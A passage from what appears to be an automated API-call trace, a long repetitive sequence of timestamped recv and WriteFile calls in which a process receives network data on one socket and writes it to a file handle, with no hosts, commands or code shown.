buf=0x2ff90dc*) returned 5600 [0104.647] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0104.647] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0104.716] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0104.721] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0104.721] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0104.722] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0104.795] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0104.795] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0104.795] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0104.874] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0104.875] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0104.875] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0104.875] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0104.951] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0104.951] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0104.951] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0104.951] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0105.028] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0105.028] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0105.029] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0105.029] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0105.095] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0105.095] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0105.096] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0105.096] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0105.096] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0105.156] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0105.157] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0105.157] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0105.157] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0105.210] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0105.210] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 39200 [0105.388] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x9920, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x9920, lpOverlapped=0x0) returned 1 [0105.389] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 33600 [0105.389] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8340, lpOverlapped=0x0) returned 1 [0105.390] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0105.444] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0105.445] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0105.445] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0105.530] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0105.530] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0105.530] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0105.530] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0105.592] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0105.592] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0105.592] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0105.592] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0105.675] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0105.675] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0105.676] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0105.676] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 39200 [0105.770] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0105.770] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x9410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x9410, lpOverlapped=0x0) returned 1 [0105.771] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0105.771] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0105.842] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0105.842] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x3c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x3c90, lpOverlapped=0x0) returned 1 [0105.842] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 54600 [0106.001] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xd548, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xd548, lpOverlapped=0x0) returned 1 [0106.001] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0106.079] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0106.081] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0106.181] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0106.181] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0106.181] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 42000 [0106.288] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0106.288] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x9f00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x9f00, lpOverlapped=0x0) returned 1 [0106.288] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0106.289] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0106.354] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0106.354] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x6850, lpOverlapped=0x0) returned 1 [0106.354] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 36400 [0106.496] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x8e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x8e30, lpOverlapped=0x0) returned 1 [0106.496] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0106.496] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0106.497] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0106.570] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0106.570] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0106.570] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0106.570] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0106.641] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0106.642] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0106.642] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0106.642] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0106.714] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0106.714] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0106.714] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0106.715] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0106.853] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0106.853] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 42000 [0106.853] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xa410, lpOverlapped=0x0) returned 1 [0106.854] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0106.914] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0106.914] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0106.914] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0106.914] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0106.978] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0106.979] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0106.979] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0106.979] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0107.057] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0107.058] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0107.058] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0107.058] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0107.134] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0107.134] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0107.134] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0107.135] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0107.206] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0107.206] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 12600 [0107.206] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x3138, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x3138, lpOverlapped=0x0) returned 1 [0107.206] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 35000 [0107.275] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x88b8, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x88b8, lpOverlapped=0x0) returned 1 [0107.276] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0107.276] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0107.346] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0107.346] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x26b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x26b0, lpOverlapped=0x0) returned 1 [0107.346] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0107.346] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0107.351] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 50400 [0107.548] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xc4e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xc4e0, lpOverlapped=0x0) returned 1 [0107.549] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0107.549] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0107.623] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0107.623] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0107.626] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 44800 [0107.705] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xaf00, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xaf00, lpOverlapped=0x0) returned 1 [0107.706] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0107.706] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0107.777] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0107.777] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0107.777] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0107.777] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0107.850] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0107.850] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, 